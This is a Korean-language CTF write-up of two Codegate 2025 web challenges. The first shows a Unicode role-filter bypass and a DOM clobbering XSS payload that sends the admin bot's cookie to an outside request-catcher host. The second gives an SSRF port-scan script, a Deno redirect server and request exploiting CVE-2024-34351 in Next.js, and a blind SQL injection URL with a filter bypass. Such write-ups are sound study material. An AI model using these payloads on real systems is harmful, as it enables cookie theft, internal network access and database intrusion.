Codegate 2025

Masquerade

로그인한 뒤 role을 선택할 수 있다. 하지만 role이 ADMIN이나 INSPECTOR이면 필터링에 걸린다.

const { generateToken } = require("../utils/jwt");
const { v4: uuidv4 } = require('uuid');

const users = new Map();

const role_list = ["ADMIN", "MEMBER", "INSPECTOR", "DEV", "BANNED"];

function checkRole(role) {
    const regex = /^(ADMIN|INSPECTOR)$/i;
    return regex.test(role);
}

const addUser = (password) => {
    const uuid = uuidv4()

    users.set(uuid, { password, role: "MEMBER", hasPerm: false });

    return uuid;
};

const getUser = (uuid) => {
    return users.get(uuid);
};

const getUsers = () => {
    console.log(users);
    return 1;
};

const setRole = (uuid, input) => {
    const user = getUser(uuid);

    if (checkRole(input)) return false;
    if (!role_list.includes(input.toUpperCase())) return false;

    users.set(uuid, { ...user, role: input.toUpperCase() });

    const updated = getUser(uuid);

    const payload = { uuid, ...updated }

    delete payload.password;

    const token = generateToken(payload);

    return token;
};

const setPerm = (uuid, input) => {
    const user = getUser(uuid);

    users.set(uuid, { ...user, hasPerm: input });

    return true;
}

module.exports = { addUser, getUser, setRole, setPerm, getUsers };

ADMIN role을 얻으면 해당 계정으로 post를 작성할 수 있고, INSPECTOR role을 얻으면 admin에게 report할 수 있다.

필터는 원본 문자열에 정규식을 적용한 뒤 role 목록을 확인할 때 toUpperCase()를 사용한다. 점이 없는 소문자 i인 ıtoUpperCase()에 넣으면 I로 바뀌는 차이를 이용해 ADMININSPECTOR 권한을 얻을 수 있다.

const puppeteer = require('puppeteer');
const { generateToken } = require('./jwt')

const delay = (ms) => new Promise(resolve => setTimeout(resolve, ms));

const viewUrl = async (post_id) => {
    const token = generateToken({ uuid: "codegate2025{test_flag}", role: "ADMIN", hasPerm: true })

    const cookies = [{ "name": "jwt", "value": token, "domain": "localhost" }];

    const browser = await puppeteer.launch({
        executablePath: '/usr/bin/chromium',
        args: ["--no-sandbox"]
    });

    let result = true;

    try {
        await browser.setCookie(...cookies);

        const page = await browser.newPage();

        await page.goto(`http://localhost:3000/post/${post_id}`, { timeout: 3000, waitUntil: "domcontentloaded" });

        await delay(1000);

        const button = await page.$('#delete');
        await button.click();

        await delay(1000);
    } catch (error) {
        console.error("An Error occurred:", error);
        result = false;
    } finally {
        await browser.close();
    }

    return result;
};

module.exports = { viewUrl };

report 코드는 위와 같다. 전형적인 XSS 문제다.

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Post</title>
    <link rel="stylesheet" href="/css/style.css">
</head>

<body>
    <div class="container">
        <h1 id="post-title">
            <%= post.title %>
        </h1>
        <div class="user-info">
            <button id="report" class="button danger">Report</button>
            <button id="delete" class="button danger">Delete</button>
        </div>

        <hr>
        <div class="post-content">
            <%- post.content %>
        </div>
        <a href="/post" class="button">Go to Posts</a>
    </div>
    <script nonce="<%= nonce %>">
        <% if (isOwner || isAdmin) { %>
            window.conf = window.conf || {
                deleteUrl: "/post/delete/<%= post.post_id %>"
            };
        <% } else { %>
            window.conf = window.conf || {
                deleteUrl: "/error/role"
            };
        <% } %>

        <% if (isInspector) { %>
            window.conf.reportUrl = "/report/<%= post.post_id %>";
        <% } else { %>
            window.conf.reportUrl = "/error/role";
        <% } %>

        const reportButton = document.querySelector("#report");

        reportButton.addEventListener("click", () => {
            location.href = window.conf.reportUrl;
        });

        const deleteButton = document.querySelector("#delete");

        deleteButton.addEventListener("click", () => {
            location.href = window.conf.deleteUrl;
        });
    </script>
</body>

</html>

post.content가 escaping 없이 출력되어 XSS 지점이 되지만, 이 페이지에는 CSP가 있어 단순한 script 태그를 사용할 수 없다. 반면 /admin/test에는 CSP가 적용되지 않는다.

<script src="../js/purify.min.js"></script>
<script>
	const post_title = document.querySelector('.post_title'),
	  post_content = document.querySelector('.post_content'),
	  error_div = document.querySelector('.error_div')
	const urlSearch = new URLSearchParams(location.search),
	  title = urlSearch.get('title')
	const content = urlSearch.get('content')
	if (!title && !content) {
	  post_content.innerHTML = 'Usage: ?title=a&content=b'
	} else {
	  try {
	    post_title.innerHTML = DOMPurify.sanitize(title)
	    post_content.innerHTML = DOMPurify.sanitize(content)
	  } catch {
	    post_title.innerHTML = title
	    post_content.innerHTML = content
	  }
	}
</script>

/admin/test/처럼 끝에 슬래시가 있는 URL로 이동하면 상대 경로 ../js/purify.min.js/admin/js/purify.min.js로 해석된다. 이 파일이 존재하지 않아 DOMPurify 로딩이 실패하면 catch 구문이 입력을 그대로 innerHTML에 넣으면서 XSS가 발생한다.

따라서 post.content에서 DOM clobbering으로 window.conf.deleteUrl 값을 제어하면 admin bot에서 XSS를 발생시킬 수 있다.

문제 코드에 a 태그 필터링이 적용되어 있어 아래 payload로 flag를 받아왔다.

<a/**/id="conf" name="deleteUrl" href="/admin/test/?title=boom&content=<img src=x onerror=javascript:location.href='https://mvpuaip.request.dreamhack.games/?flag='%2Bdocument.cookie>"></a>
<a/**/id="conf"></a>

hide and seek

internal server의 port를 몰라 brute force로 열린 port를 확인하는 코드를 작성했다.

ssrf_url = f"{internal_ip}:{port}"
print(f"Trying SSRF to {ssrf_url}...")

options = Options()
options.add_argument("--no-sandbox")
options.add_argument("--disable-dev-shm-usage")

try:
    driver = webdriver.Chrome(options=options)
    driver.get(target_url)
    time.sleep(0.1)

    # 버튼 클릭 (Find me)
    find_button = driver.find_element(By.XPATH, '//button[contains(text(), "Find me")]')
    find_button.click()
    time.sleep(0.1)

    # URL 입력
    input_field = driver.find_element(By.NAME, "url")
    input_field.clear()
    input_field.send_keys(ssrf_url)

    # Submit 클릭
    submit_button = driver.find_element(By.XPATH, '//button[contains(text(), "Submit")]')
    submit_button.click()
    time.sleep(0.1)

    # alert 수신 시도
    try:
        alert = driver.switch_to.alert
        alert_text = alert.text
        alert.accept()
        print(f"Port {port} - ALERT: {alert_text}")
        if "Sended" in alert_text:
            print(f"SUCCESS SSRF on port {port}")
    except:
        # alert 없을 때 페이지 일부 출력
        print(f"Port {port} - No alert")
        print(f"Page source (first 300 chars):\n{driver.page_source[:300]}")

except Exception as e:
    print(f"Port {port} - Selenium error: {e}")
finally:
    driver.quit()

그 결과 port 808에 internal server가 존재하는 것을 확인했다.

문제는 Next.js 14.1.0을 사용하는데, 해당 버전은 CVE-2024-34351의 영향 범위(>= 13.4.0, < 14.1.1)에 포함된다.

이 취약점은 self-hosted Next.js 애플리케이션에서 Server Action이 /로 시작하는 상대 경로로 redirect할 때 악용할 수 있는 SSRF다. Host 계열 header를 공격자 서버로 유도하고 Origin 검사까지 통과시키면 Next.js 서버가 공격자 서버에 요청을 보낸다. 공격자 서버가 내부 주소로 redirect하면 그 응답을 통해 내부 resource에 접근할 수 있다.

God4n의 exploit 코드를 참조했다.

// deno run --allow-net --allow-read attack.ts
Deno.serve(async (request: Request) => {
    const ssrf = request.headers.get('ssrf') || "http://192.168.200.120:808/";

    console.log("Request received: " + JSON.stringify({
        url: request.url,
        method: request.method,
        ssrf: ssrf,
    }));

    console.log(`Redirecting to: ${ssrf}`);

    if (request.method === 'HEAD') {
        return new Response(null, {
            headers: {
                'Content-Type': 'text/x-component',
            },
        });
    }

    if (request.method === 'GET') {
        return new Response(null, {
            status: 302,
            headers: {
                Location: ssrf,
                'Content-Type': 'text/x-component',
            },
        });
    }

    return new Response("Method Not Allowed", { status: 405 });
});

POST / HTTP/1.1
Host: 13.124.66.200:56712
Content-Length: 4
User-Agent: Mozilla/5.0 ...
Next-Action: 6e6feac6ad1fb92892925b4e3766928a754aec71
Accept-Language: ko-KR,ko;q=0.9
Accept: text/x-component
Content-Type: text/plain;charset=UTF-8
Origin: http://13.124.66.200:56712
Referer: http://15.165.37.31:3000/
Connection: keep-alive

[]

이후 내부망 URL에 접근할 수 있다. 여러 방법으로 로그인을 시도하던 중 SQL injection이 가능하다는 것을 알아내 admin 계정으로 로그인했다.

admin 계정으로 로그인하면 아래 message가 나온다. blind SQL injection을 진행하면 flag를 알아낼 수 있다.

{"message":"Welcome! admin, Flag is your password."}
http://192.168.200.120:808/login?username='/**/OORR/**/passwoorrd%20like%20'codegate2025%7B8...%25'/**/OORR/**/passwoorrd%20like%20'gu%25'%23--&password=guest&key=392cc52f7a5418299a5eb22065bd1e5967c25341

or을 한 번 제거하는 로직이 있어 oorr를 사용했다. oorr에서 가운데 or이 제거되면 다시 or이 남는 방식이다.